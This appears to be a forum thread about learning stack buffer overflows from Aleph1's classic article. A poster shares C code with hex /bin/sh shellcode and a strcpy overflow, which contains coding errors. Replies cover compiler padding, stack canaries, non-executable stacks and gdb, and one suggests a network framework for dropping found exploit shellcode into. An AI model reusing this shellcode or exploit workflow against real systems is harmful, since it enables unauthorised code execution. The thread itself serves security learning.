Problem with learning buffer-overflow

[dulesmc]

Hi!
I have been reading this article 'Smashing The Stack For Fun And Profit' by Aleph1 for some time,and of course because you can't learn anything in programing
if you don't start writing the code,I've decided to play with some of the examples
in the article.
And so I've got this:


#include <stdio.h>

#define BUFF_SIZE 24

char shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\ x46\x0c \xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\ x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";


void function(char* large_str)
{
//int* ret; // [A]
// ret = (int*) &ret +2; // [A]
// *ret = (int*)shellcode; // [A]


char small_buff[4]; // [B]
strcpy(buf,large_str); //[B]
}


int main()
{
int buff[BUFF_SIZE];
for(int i = 0; i < BUFF_SIZE ;i++)
buff[i] = (int)shellcode;

function((char*)buff);
return 0;
}




The thing is,when I run this program,it does not execute the shell ,
it just exits normaly.
of course ,when you remove the comment in [A] lines ,and put the comment
ont [B] lines it works cool.
So, can anybody tell me what is the problem with this code?
It fairly simple and I don't see why it shouldn't be working.

Thank you.

[noid]

Well, it looks like your shell code isnt right. The command needs to be hex encoded as well. Also, Aleph1's paper, while good, is from the late 90s. Heres some more modern resources

http://www.l0t3k.org/programming/docs/shellcode/

[dulesmc]

Well, it looks like your shell code isnt right. The command needs to be hex encoded as well. Also, Aleph1's paper, while good, is from the late 90s. Heres some more modern resources

http://www.l0t3k.org/programming/docs/shellcode/

Well ,the thing is that shellcode works when you uncomment the lines marked as [A]
and comment the lines marked as [B] which leads to conclusion that shellcode is ok.
Eg. I've tested the shellcode :) .
And ,when/if shellcode is wrong ,poor program usually dies:) .

[TheCotMan]

Well ,the thing is that shellcode works when you uncomment the lines marked as [A]
and comment the lines marked as [B] which leads to conclusion that shellcode is ok.
Eg. I've tested the shellcode :) .
And ,when/if shellcode is wrong ,poor program usually dies:) .

Something like this came up on one of the security lists I read, and the response was that changes have been made to the compiler (gcc) that cause some of the examples to no longer work.
I've seen some of these effects with gcc.
I wrote a program with an "off by one" error with buffer space, and the bad code compiled and worked fine on a new system compiled with a new copy of gcc, but seg-faulted when built with an older copy of gcc.
Why? The new gcc allocated 3 extra bytes of buffer space than I asked for, to help with word-boundaries/optimization/caching/dumb-ass-programmer-mistakes/whatever.
So, some of the buffer-overrun exploits may need to have the size of the content used to overrun the buffer altered.
Also, some compilers have added features to compare each function return's return address to an "extra" address, (or encrypted address) on the stack earlier than the return address, for overwriting (as might happen in a buffer overrun) before "working."
Also, non-executable stack support is available in some OS (as a patch or feature/option, or by default) where buffer-overrun-to-code-injection-to-executation-of-code-in-stack in usually just leads to program termination without malicious code execution.

Not seeing success in a buffer overrun to "run arbitrary code" could be caused by any number of reasons.

When that paper was written, I believe the examples did work.

If you really want to see why it now does not work, and you are using gcc, then use gdb or xgdb and step through it to see if the buffer overrun overwrites the return address on the stack. Does it fall short?

That site noid gave you looks pretty cool.

[hackajar]

When dealing with shellcode (pertaining to newtworks in this example) one should have their own "toolKit" in their box of goodies.

You should probalbly have some network framework already in place. For example, have a C program already designed that will accept a source IP and port, destination IP and port at the command line (arg's if you will). Then have a spot in the code that accepts shell code on top of your TCP stack -

char shellcode = "ENTER SHELL CODE HERE";

Then have a merge option using memcpy. This way when you find some "example code" on the net, which is usually slightly tweaked, you can just take the "goodies" out, the shell code exploit, and drop them into your network framework.

There is, of course, no reason you can do the same with host based exploits either! IMHO

[dulesmc]

Thanks guys.I shall get to work ,well not right away,but in a next 3-4 hours,because, I would like to see litle bit of the Sun,before I contiue :)